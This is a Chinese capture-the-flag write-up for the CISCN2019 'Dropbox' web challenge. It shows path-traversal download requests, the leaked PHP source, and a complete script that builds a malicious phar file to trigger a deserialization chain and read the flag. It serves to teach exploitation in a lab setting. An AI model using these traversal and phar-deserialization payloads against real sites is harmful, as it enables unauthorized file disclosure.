[CISCN2019 华北赛区 Day1 Web1]Dropbox
注册后进入网站,上传文件后,用Burp Suite拦截请求,修改请求,任意文件可下载:
POST /download.php HTTP/1.1
Host: 3a15d220-2508-43a9-a971-ff055bdaf52f.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=71e4c77c7af3596b74ed78af4c02a0ff
Content-Length: 24
filename=../../index.php
响应中得到index.php
源代码:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
根据index.php
中的提示,说明还有class.php
,修改请求:
POST /download.php HTTP/1.1
Host: 3a15d220-2508-43a9-a971-ff055bdaf52f.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=71e4c77c7af3596b74ed78af4c02a0ff
Content-Length: 24
filename=../../class.php
响应中得到class.php
源码:
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); //返回我们上传文件的所有文件名
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file); // 把File对象加入到files数组
$this->results[$file->name()] = array(); // results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组。
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) { // 每次把每个一级数组的值,传递给$result,即filename1[]
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
魔术方法:
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用,访问不存在的属性或是受限的属性时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() **//当调用一个对象中的不能用的方法的时候就会执行这个函数
References
https://www.jianshu.com/p/40ab1c531fcc
查阅PHP手册:
unlink
(PHP 4, PHP 5, PHP 7, PHP 8)
unlink — 删除文件
htmlentities
(PHP 4, PHP 5, PHP 7, PHP 8)
htmlentities — 将字符转换为 HTML 转义字符
array_push
(PHP 4, PHP 5, PHP 7, PHP 8)
array_push — 将一个或多个单元压入数组的末尾(入栈)
仔细阅读class.php
源码分析FileList
的魔术方法__call()
:
public function __call($func, $args) {
array_push($this->funcs, $func);//在本题中,这句话将close方法压入数组funcs末尾。
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func(); //results二维数组第一维是文件名字,第二维是没有成功调用的方法。
}
}
__call($func,$args)
会在对象调用的方法不存在时,自动执行。 $func
被调用的方法名,所以:
$func()
:在这个魔术方法中,可以表示被调用的那个方法;$args()
: 被调用方法中的参数(这是个数组)
仔细阅读class.php
源码分析FileList
的魔术方法__destruct()
:
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) { // 每次把每个一级数组的值,传递给$result,即filename1[]
$table .= '<tr>';
foreach ($result as $func => $value) { // 每次把每个二级数组的值,传递给$value
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table; // 最后打印出来全部数据,这里就是网页回显flag的语句。
}
仔细阅读class.php
的源码:
- 观察到
File
类有close()
函数,这个函数调用了file_get_contents
可以获得文件名对应的文件内容。因此我们要想办法调用File
类里面的close
方法来读取flag文件里的内容。 - 同时
User
类里有User
类中存在close
方法,并且该方法在对象销毁时执行。所以当User
对象销毁时,就会调用close()
函数,然后读取flag
内容。 - 最后
FileList
类中存在__call
魔术方法,并且类没有close
方法。如果一个Filelist
对象调用了close()
方法,就会调用__call
方法,文件的close
方法会被执行,就会拿到flag
。
根据以上三条线索,大概的解题思路就是:
- 创建一个
User
的对象,其db
变量是一个FileList
对象,对象中的文件名为flag的位置。 - 当
User
对象销毁时,db
变量的close
方法被执行。 - 但
FileList
对象的db
变量没有close
方法,这样就会触发FileList
类__call
魔术方法,进而变成了执行File
对象的close
方法,此时就会读取到flag函数的内容。
得到了flag,那怎么显示在网页上呢?最后一步回显:
- 文件删除时
FileList
对象被销毁,调用FileList
类的析构函数,上一步File
对象的close
方法执行后存在results
变量里的结果会加入到table
变量中被打印出来,也就是flag会被打印出来。
References
[CISCN2019 华北赛区 Day1 Web1]Dropbox_沐目的博客-CSDN博客
有了解题思路,页面里我们可操作的就只有上传,下载,删除。因为要调用__destruct
析构函数打印flag,所以只能使用删除文件制造回显。解题思路的第一步就是创建一个User
对象,我们只能通过上传文件的方式来创建对象,User
对象的db
又是Filelist
对象,又要把flag.txt
保存到file
成员变量filename
里,这里需要用到phar
伪协议。里面有个字段meta-data
用来保存信息,它是序列化后的信息。而phar://
伪协议可以让php一些函数自动反序列化这个字段信息,包括file_get_contents()
。
References
BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1_wow小华的博客-CSDN博客
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()
的前提下,引起严重的php对象注入漏洞。在字段meta-data
中,可以序列化存储我们创建的对象。下面是PHP手册中Phar
的格式清单:
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar
文件时,都会将meta-data
进行反序列化,其中一个在解析phar
文件时会自动反序列化的函数就是file_get_contents()
,这样就可以把我们创建的User对象成功上传到服务器。
References
要生成phar
文件,首先先用php --ini
命令,找到本php
环境下php.ini
文件的位置。然后找到phar.readonly
参数,如果phar.readonly
前面有分号就删掉分号,并改成phar.readonly = Off
。
可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar
扩展将无法识别这个文件为phar
文件。
最后的生成phar
文件:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
查阅PHP手册:
Phar::addFromString
(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)
Phar::addFromString — 以字符串的形式添加一个文件到 phar 档案
运行后在同一路径下得到phar.phar
文件,改后缀为jpg
上传,点删除用Burp Suite拦截,请求中修改为filename=phar://phar.jpg
,响应中得到flag。
References
BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1_wow小华的博客-CSDN博客
最后还有download.php
,修改请求:
POST /download.php HTTP/1.1
Host: 30935de4-5334-459f-98f2-20e73872aa8f.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c0fbd58fb321d2ed81a266691821a5f7
Content-Length: 27
filename=../../download.php
响应中得到download.php
源码:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
查阅PHP手册:
ini_set
(PHP 4, PHP 5, PHP 7, PHP 8)
ini_set — 为一个配置选项设置值
chdir
(PHP 4, PHP 5, PHP 7, PHP 8)
chdir — 改变目录
chdir()
实现目录跳跃,解释了为什么下载时要filename = ../../indx.php
,而不是filename = index.php
。
只要和序列化有关的,就在魔术方法里,找高危函数就完事了。
- 有
file_get_contents()
→ 任意文件读取。 - 有
eval
→ 任意命令执行。
利用条件:
① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists()
,fopen()
,file_get_contents()
,file()
③ 文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤
References